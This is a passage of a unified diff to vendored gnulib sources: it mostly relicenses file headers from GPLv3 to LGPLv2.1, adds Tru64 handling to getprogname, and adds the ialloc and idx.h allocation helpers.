License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/getopt.in.h ++++ b/gnulib/lib/getopt.in.h +@@ -5,18 +5,18 @@ + with the GNU C Library, which supplies a different version of + this file. + +- This file is free software; you can redistribute it and/or modify it +- under the terms of the GNU General Public License as +- published by the Free Software Foundation; either version 3 of +- the License, or (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This file is distributed in the hope that it will be useful, but +- WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public +- License along with gnulib; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _@GUARD_PREFIX@_GETOPT_H + +--- a/gnulib/lib/getopt1.c ++++ b/gnulib/lib/getopt1.c +@@ -4,16 +4,16 @@ + Patches to this file should be submitted to both projects. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/getopt_int.h ++++ b/gnulib/lib/getopt_int.h +@@ -4,16 +4,16 @@ + Patches to this file should be submitted to both projects. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/getprogname.c ++++ b/gnulib/lib/getprogname.c +@@ -2,16 +2,16 @@ + Copyright (C) 2016-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or ++ it under the terms of the GNU Lesser General Public License as published by ++ the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +@@ -43,7 +43,7 @@ + # include <string.h> + #endif + +-#ifdef __sgi ++#if defined __sgi || defined __osf__ + # include <string.h> + # include <unistd.h> + # include <stdio.h> +@@ -224,11 +224,15 @@ getprogname (void) + free (buf.ps_pathptr); + } + return p; +-# elif defined __sgi /* IRIX */ ++# elif defined __sgi || defined __osf__ /* IRIX or Tru64 */ + char filename[50]; + int fd; + +- sprintf (filename, "/proc/pinfo/%d", (int) getpid ()); ++ # if defined __sgi ++ sprintf (filename, "/proc/pinfo/%d", (int) getpid ()); ++ # else ++ sprintf (filename, "/proc/%d", (int) getpid ()); ++ # endif + fd = open (filename, O_RDONLY | O_CLOEXEC); + if (0 <= fd) + { +--- a/gnulib/lib/getprogname.h ++++ b/gnulib/lib/getprogname.h +@@ -2,16 +2,16 @@ + Copyright (C) 2016-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or ++ it under the terms of the GNU Lesser General Public License as published by ++ the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GL_GETPROGNAME_H +--- a/gnulib/lib/gettext.h ++++ b/gnulib/lib/gettext.h +@@ -2,18 +2,18 @@ + Copyright (C) 1995-1998, 2000-2002, 2004-2006, 2009-2021 Free Software + Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _LIBGETTEXT_H + #define _LIBGETTEXT_H 1 +--- a/gnulib/lib/glthread/lock.c ++++ b/gnulib/lib/glthread/lock.c +@@ -1,18 +1,18 @@ + /* Locking in multithreaded situations. + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-posix.h, gthr-posix95.h. */ +--- a/gnulib/lib/glthread/lock.h ++++ b/gnulib/lib/glthread/lock.h +@@ -1,18 +1,18 @@ + /* Locking in multithreaded situations. + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-posix.h, gthr-posix95.h, gthr-win32.h. */ +--- a/gnulib/lib/glthread/threadlib.c ++++ b/gnulib/lib/glthread/threadlib.c +@@ -1,18 +1,18 @@ + /* Multithreading primitives. + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. */ + +--- a/gnulib/lib/hard-locale.c ++++ b/gnulib/lib/hard-locale.c +@@ -3,17 +3,17 @@ + Copyright (C) 1997-1999, 2002-2004, 2006-2007, 2009-2021 Free Software + Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/hard-locale.h ++++ b/gnulib/lib/hard-locale.h +@@ -2,17 +2,17 @@ + + Copyright (C) 1999, 2003-2004, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef HARD_LOCALE_H_ +--- /dev/null ++++ b/gnulib/lib/ialloc.c +@@ -0,0 +1,21 @@ ++/* malloc with idx_t rather than size_t ++ ++ Copyright 2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++#include <config.h> ++ ++#define IALLOC_INLINE _GL_EXTERN_INLINE ++#include "ialloc.h" +--- /dev/null ++++ b/gnulib/lib/ialloc.h +@@ -0,0 +1,94 @@ ++/* ialloc.h -- malloc with idx_t rather than size_t ++ ++ Copyright 2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++#ifndef IALLOC_H_ ++#define IALLOC_H_ ++ ++#include "idx.h" ++ ++#include <errno.h> ++#include <stdint.h> ++#include <stdlib.h> ++ ++#ifndef _GL_INLINE_HEADER_BEGIN ++ #error "Please include config.h first." ++#endif ++_GL_INLINE_HEADER_BEGIN ++#ifndef IALLOC_INLINE ++# define IALLOC_INLINE _GL_INLINE ++#endif ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++IALLOC_INLINE void * _GL_ATTRIBUTE_COLD ++_gl_alloc_nomem (void) ++{ ++ errno = ENOMEM; ++ return NULL; ++} ++ ++IALLOC_INLINE void * ++imalloc (idx_t s) ++{ ++ return s <= SIZE_MAX ? malloc (s) : _gl_alloc_nomem (); ++} ++ ++IALLOC_INLINE void * ++irealloc (void *p, idx_t s) ++{ ++ /* Work around GNU realloc glitch by treating a zero size as if it ++ were 1, so that returning NULL is equivalent to failing. */ ++ return s <= SIZE_MAX ? realloc (p, s | !s) : _gl_alloc_nomem (); ++} ++ ++IALLOC_INLINE void * ++icalloc (idx_t n, idx_t s) ++{ ++ if (SIZE_MAX < n) ++ { ++ if (s != 0) ++ return _gl_alloc_nomem (); ++ n = 0; ++ } ++ if (SIZE_MAX < s) ++ { ++ if (n != 0) ++ return _gl_alloc_nomem (); ++ s = 0; ++ } ++ return calloc (n, s); ++} ++ ++IALLOC_INLINE void * ++ireallocarray (void *p, idx_t n, idx_t s) ++{ ++ /* Work around GNU reallocarray glitch by treating a zero size as if ++ it were 1, so that returning NULL is equivalent to failing. */ ++ if (n == 0 || s == 0) ++ n = s = 1; ++ return (n <= SIZE_MAX && s <= SIZE_MAX ++ ? reallocarray (p, n, s) ++ : _gl_alloc_nomem ()); ++} ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif +--- /dev/null ++++ b/gnulib/lib/idx.h +@@ -0,0 +1,114 @@ ++/* A type for indices and sizes. ++ Copyright (C) 2020-2021 Free Software Foundation, Inc. ++ This file is part of the GNU C Library. ++ ++ The GNU C Library is free software; you can redistribute it and/or ++ modify it under the terms of the GNU Lesser General Public ++ License as published by the Free Software Foundation; either ++ version 2.1 of the License, or (at your option) any later version. ++ ++ The GNU C Library is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ++ Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public ++ License along with the GNU C Library; if not, see ++ <https://www.gnu.org/licenses/>. */ ++ ++#ifndef _IDX_H ++#define _IDX_H ++ ++/* Get ptrdiff_t. */ ++#include <stddef.h> ++ ++/* Get PTRDIFF_MAX. */ ++#include <stdint.h> ++ ++/* The type 'idx_t' holds an (array) index or an (object) size. ++ Its implementation promotes to a signed integer type, ++ which can hold the values ++ 0..2^63-1 (on 64-bit platforms) or ++ 0..2^31-1 (on 32-bit platforms). ++ ++ Why a signed integer type? ++ ++ * Security: Signed types can be checked for overflow via ++ '-fsanitize=undefined', but unsigned types cannot. ++ ++ * Comparisons without surprises: ISO C99 § 6.3.1.8 specifies a few ++ surprising results for comparisons, such as ++ ++ (int) -3 < (unsigned long) 7 => false ++ (int) -3 < (unsigned int) 7 => false ++ and on 32-bit machines: ++ (long) -3 < (unsigned int) 7 => false ++ ++ This is surprising because the natural comparison order is by ++ value in the realm of infinite-precision signed integers (ℤ). ++ ++ The best way to get rid of such surprises is to use signed types ++ for numerical integer values, and use unsigned types only for ++ bit masks and enums. ++ ++ Why not use 'size_t' directly? ++ ++ * Because 'size_t' is an unsigned type, and a signed type is better. ++ See above. ++ ++ Why not use 'ptrdiff_t' directly? ++ ++ * Maintainability: When reading and modifying code, it helps to know that ++ a certain variable cannot have negative values. For example, when you ++ have a loop ++ ++ int n = ...; ++ for (int i = 0; i < n; i++) ... ++ ++ or ++ ++ ptrdiff_t n = ...; ++ for (ptrdiff_t i = 0; i < n; i++) ... ++ ++ you have to ask yourself "what if n < 0?". Whereas in ++ ++ idx_t n = ...; ++ for (idx_t i = 0; i < n; i++) ... ++ ++ you know that this case cannot happen. ++ ++ Similarly, when a programmer writes ++ ++ idx_t = ptr2 - ptr1; ++ ++ there is an implied assertion that ptr1 and ptr2 point into the same ++ object and that ptr1 <= ptr2. ++ ++ * Being future-proof: In the future, range types (integers which are ++ constrained to a certain range of values) may be added to C compilers ++ or to the C standard. Several programming languages (Ada, Haskell, ++ Common Lisp, Pascal) already have range types. Such range types may ++ help producing good code and good warnings. The type 'idx_t' could ++ then be typedef'ed to a range type that is signed after promotion. */ ++ ++/* In the future, idx_t could be typedef'ed to a signed range type. ++ The clang "extended integer types", supported in Clang 11 or newer ++ <https://clang.llvm.org/docs/LanguageExtensions.html#extended-integer-types>, ++ are a special case of range types. However, these types don't support binary ++ operators with plain integer types (e.g. expressions such as x > 1). ++ Therefore, they don't behave like signed types (and not like unsigned types ++ either). So, we cannot use them here. */ ++ ++/* Use the signed type 'ptrdiff_t'. */ ++/* Note: ISO C does not mandate that 'size_t' and 'ptrdiff_t' have the same ++ size, but it is so on all platforms we have seen since 1990. */ ++typedef ptrdiff_t idx_t; ++ ++/* IDX_MAX is the maximum value of an idx_t. */ ++#define IDX_MAX PTRDIFF_MAX ++ ++/* So far no need has been found for an IDX_WIDTH macro. ++ Perhaps there should be another macro IDX_VALUE_BITS that does not ++ count the sign bit and is therefore one less than PTRDIFF_WIDTH. */ ++ ++#endif /* _IDX_H */ +--- a/gnulib/lib/intprops.h ++++ b/gnulib/lib/intprops.h +@@ -3,16 +3,16 @@ + Copyright (C) 2001-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or ++ under the terms of the GNU Lesser General Public License as published ++ by the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Paul Eggert. */ +@@ -133,7 +133,8 @@ + operators might not yield numerically correct answers due to + arithmetic overflow. They do not rely on undefined or + implementation-defined behavior. Their implementations are simple +- and straightforward, but they are a bit harder to use than the ++ and straightforward, but they are harder to use and may be less ++ efficient than the INT_<op>_WRAPV, INT_<op>_OK, and + INT_<op>_OVERFLOW macros described below. + + Example usage: +@@ -158,6 +159,9 @@ + must have minimum value MIN and maximum MAX. Unsigned types should + use a zero MIN of the proper type. + ++ Because all arguments are subject to integer promotions, these ++ macros typically do not work on types narrower than 'int'. ++ + These macros are tuned for constant MIN and MAX. For commutative + operations such as A + B, they are also tuned for constant B. */ + +@@ -339,9 +343,15 @@ + arguments should not have side effects. + + The WRAPV macros are not constant expressions. They support only +- +, binary -, and *. Because the WRAPV macros convert the result, +- they report overflow in different circumstances than the OVERFLOW +- macros do. ++ +, binary -, and *. ++ ++ Because the WRAPV macros convert the result, they report overflow ++ in different circumstances than the OVERFLOW macros do. For ++ example, in the typical case with 16-bit 'short' and 32-bit 'int', ++ if A, B and R are all of type 'short' then INT_ADD_OVERFLOW (A, B) ++ returns false because the addition cannot overflow after A and B ++ are converted to 'int', whereas INT_ADD_WRAPV (A, B, &R) returns ++ true or false depending on whether the sum fits into 'short'. + + These macros are tuned for their last input argument being a constant. + +--- a/gnulib/lib/inttypes.in.h ++++ b/gnulib/lib/inttypes.in.h +@@ -2,17 +2,17 @@ + Written by Paul Eggert, Bruno Haible, Derek Price. + This file is part of gnulib. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* +--- a/gnulib/lib/iswblank.c ++++ b/gnulib/lib/iswblank.c +@@ -1,18 +1,18 @@ + /* Test wide character for being blank. + Copyright (C) 2008-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/iswdigit.c ++++ b/gnulib/lib/iswdigit.c +@@ -1,18 +1,18 @@ + /* Test wide character for being a digit. + Copyright (C) 2020-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/iswxdigit.c ++++ b/gnulib/lib/iswxdigit.c +@@ -1,18 +1,18 @@ + /* Test wide character for being a hexadecimal digit. + Copyright (C) 2020-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/itold.c ++++ b/gnulib/lib/itold.c +@@ -2,17 +2,17 @@ + Copyright (C) 2011-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2011. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/langinfo.in.h ++++ b/gnulib/lib/langinfo.in.h +@@ -1,18 +1,18 @@ + /* Substitute for and wrapper around <langinfo.h>. + Copyright (C) 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* + * POSIX <langinfo.h> for platforms that lack it or have an incomplete one. +--- a/gnulib/lib/lc-charset-dispatch.c ++++ b/gnulib/lib/lc-charset-dispatch.c +@@ -1,17 +1,17 @@ + /* Dispatching based on the current locale's character encoding. + Copyright (C) 2018-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2018. */ +--- a/gnulib/lib/lc-charset-dispatch.h ++++ b/gnulib/lib/lc-charset-dispatch.h +@@ -1,17 +1,17 @@ + /* Dispatching based on the current locale's character encoding. + Copyright (C) 2018-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2018. */ +--- a/gnulib/lib/libc-config.h ++++ b/gnulib/lib/libc-config.h +@@ -3,16 +3,16 @@ + Copyright 2017-2021 Free Software Foundation, Inc. + + This program is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with this program; if not, see + <https://www.gnu.org/licenses/>. */ + +@@ -28,7 +28,10 @@ + + When compiled as part of glibc this is a no-op; when compiled as + part of Gnulib this includes Gnulib's <config.h> and defines macros +- that glibc library code would normally assume. */ ++ that glibc library code would normally assume. ++ ++ Note: This header file MUST NOT be included by public header files ++ of Gnulib. */ + + #include <config.h> + +@@ -71,7 +74,7 @@ + # endif + #endif + +-#ifndef __attribute_maybe_unused__ ++#ifndef __attribute_nonnull__ + /* <sys/cdefs.h> either does not exist, or is too old for Gnulib. + Prepare to include <cdefs.h>, which is Gnulib's version of a + more-recent glibc <sys/cdefs.h>. */ +@@ -80,13 +83,9 @@ + # ifndef _FEATURES_H + # define _FEATURES_H 1 + # endif +-/* Define __WORDSIZE so that 